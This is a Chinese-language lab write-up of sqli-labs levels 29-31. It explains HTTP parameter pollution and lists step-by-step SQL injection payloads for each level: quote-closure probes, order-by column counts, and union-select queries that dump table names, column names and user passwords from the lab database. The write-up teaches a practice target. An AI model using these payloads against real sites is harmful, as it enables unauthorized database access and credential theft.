sqli-labs靶场29-31关(http参数污染)

目录

前言

less29(单引号http参数污染)

less30(双引号http参数污染)

less31(双引号括号http参数污染)



前言

JSP中,使用request.getParameter("id")获取请求参数时,如果存在多个同名参数,它会返回第一个参数的值。这是因为request.getParameter()方法的设计是返回第一个匹配的参数值。

PHP中,使用$_GET["id"]获取请求参数时,如果存在多个同名参数,它会返回最后一个参数的值。这是因为PHP的$_GET超全局数组会覆盖前面的同名参数值。

比如:

?id=2&id=1返回的是id=1的请求:



less29(单引号http参数污染)

这一关如果直接union查询注入,就是很基础的sql注入。其实这里考查的是http参数污染注入。

?id=2&id=1'报错------判断为单引号闭合

?id=2&id=1'--+正常回显------确定为单引号闭合

?id=2&id=1' order by 3--+------判断有三处回显

?id=2&id=' union select 1,2,3--+------判断出回显位置

?id=2&id=' union select 1,user(),database()--+------爆数据库和数据库用户:

?id=2&id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+------爆表名

?id=2&id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+------爆字段名

?id=2&id=' union select 1,2,group_concat(id) from security.users--+------ 爆数据



less30(双引号http参数污染)

?id=a&id=1'正常回显

?id=a&id=1"无回显------判断为双引号闭合

?id=a&id=1"--+------正常回显,确定为双引号闭合

?id=a&id=1" order by 3--+------判断有三处回显位

?id=a&id=" union select 1,2,3--+------找到回显位置

?id=a&id=" union select 1,2,database()--+------爆数据库

?id=a&id=" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+------爆表名

?id=a&id=" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+------爆字段名

?id=a&id=" union select 1,2,group_concat(username,password) from security.users--+------爆数据



less31(双引号括号http参数污染)

?id=0&id=2正常回显,?id=0&id=2'正常回显

?id=0&id=2"报错------判断为双引号闭合

?id=0&id=2"--+又报错

?id=0&id=2")--+正常回显------判断为双引号括号闭合:

?id=0&id=2") order by 3--+------判断有三处回显

?id=0&id=") union select 1,2,3--+------找到回显位置

?id=0&id=") union select 1,2,database()--+------爆数据库

?id=0&id=") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+------爆表名

?id=0&id=") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+------爆字段名

?id=0&id=") union select 1,2,group_concat(id,password) from security.users--+------爆数据



相关推荐
王二端茶倒水1 天前
从千兆到万兆:宽带运营不能只卖套餐,要管用户生命周期从千兆到万兆:宽带运营需要管理用户生命周期
后端·网络协议·架构
extrao3 天前
🚀 Kea DHCP4 自动分配系统完整搭建
网络协议
喵个咪3 天前
Go-Wind HTTP 服务器从入门到精通
后端·http·go
不做菜鸟的网工5 天前
BGP特性
网络协议
明月_清风7 天前
开发者网络概念全扫盲:一篇搞定
后端·网络协议
刘马想放假7 天前
Modbus 全栈技术解析:TCP、RTU、ASCII、RTU over TCP
数据结构·网络协议
王二端茶倒水9 天前
一套可落地的无线运营方案,不能只管 AP,还要管用户、计费和运维
网络协议
162723816089 天前
EtherCAT 分布式时钟(DC)原理与配置实战:把多轴真正"对齐到同一时刻"
网络协议
王二端茶倒水9 天前
宽带无线项目,怎么从一次性交付变成长期运营收入?
网络协议